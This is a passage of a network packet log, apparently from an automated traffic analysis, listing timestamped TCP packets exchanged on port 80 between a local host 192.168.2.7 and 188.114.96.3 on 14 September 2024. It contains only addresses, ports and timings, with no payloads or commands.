Sep 14, 2024 18:44:29.808844090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808886051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808917046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808922052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808952093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808986902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809003115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809036970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809068918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809089899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809102058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809134960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809139013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809190035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809227943 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809242964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809277058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809309006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809313059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809343100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809381008 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809393883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809433937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809462070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809469938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809494972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809530973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809531927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809564114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809597015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809601068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809627056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809664011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809678078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809711933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809743881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809747934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809778929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809815884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.809829950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809880018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809911013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.809919119 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810012102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810050011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810061932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810096979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810128927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810133934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810163975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810215950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810251951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810280085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810280085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810286045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810314894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810348034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810350895 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810381889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810415983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810420036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810451031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810486078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810486078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810520887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810554981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810559034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810587883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810621023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810625076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810655117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810688019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810693026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810724020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810764074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810790062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810796022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810831070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810832977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810867071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810899019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810904980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810929060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810961008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.810966969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.810995102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811027050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811059952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811063051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.811090946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811094999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.811125994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811156988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811162949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.811192036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811225891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811228991 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.811259985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811291933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811297894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.811326027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811355114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811363935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.811413050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811445951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811448097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.811479092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811512947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811517000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.811549902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811584949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.811585903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.861548901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.864609003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.864641905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.864656925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.864675045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.864689112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.864703894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.864706039 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.864718914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.864736080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.864751101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.864767075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.896605968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.896621943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.896651983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.896725893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.897376060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.897548914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.897574902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.897730112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.897746086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.897762060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.897779942 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.897799015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.898437023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.898580074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.898621082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.898718119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.898952961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.898976088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.898991108 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.898993015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.899036884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900151968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900168896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900183916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900207043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900319099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900335073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900350094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900352955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900366068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900381088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900388956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900403976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900419950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900423050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900435925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900451899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900451899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900468111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900481939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900484085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900499105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900513887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900515079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900538921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900546074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900553942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900571108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900587082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900588036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900603056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900618076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900619984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900635958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900649071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900650978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900667906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900685072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900691032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900707006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900721073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900724888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900736094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900751114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900755882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900767088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900782108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900783062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900798082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900813103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900815964 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900829077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900846004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900860071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900876045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900890112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900897980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900906086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900922060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900923967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900937080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900952101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900954008 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.900968075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900983095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.900984049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901000023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901015997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901025057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901046038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901057959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901062965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901073933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901088953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901088953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901103973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901122093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901129007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901143074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901158094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901159048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901173115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901187897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901187897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901202917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901220083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901222944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901236057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901249886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901257038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901267052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901282072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901283979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901298046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901314020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901314020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901331902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901346922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901346922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901362896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901377916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901379108 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901393890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901411057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901412010 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901427984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901443005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901443005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901460886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901475906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901485920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901492119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901506901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901508093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901523113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901536942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901540041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901551962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901567936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901568890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901582956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901598930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901598930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901613951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901628971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901632071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901644945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901658058 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901659966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901675940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901690960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901691914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901707888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901721954 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901724100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901741028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901756048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.901758909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.901787996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.260557890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.260631084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.260665894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.260718107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.260751963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.260770082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.260828972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.260859966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.260870934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.260889053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.260901928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.260934114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.260937929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261002064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261034012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261065960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261085987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261097908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261126995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261147022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261181116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261198044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261214972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261250019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261260986 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261298895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261331081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261341095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261364937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261396885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261410952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261430025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261461973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261481047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261493921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261528969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261533022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261564016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261600971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261605024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261635065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261667967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261702061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261708975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261739016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261753082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261785984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261816978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261826992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261848927 CEST	80	54891	188.114.96.3	192.168.2.7
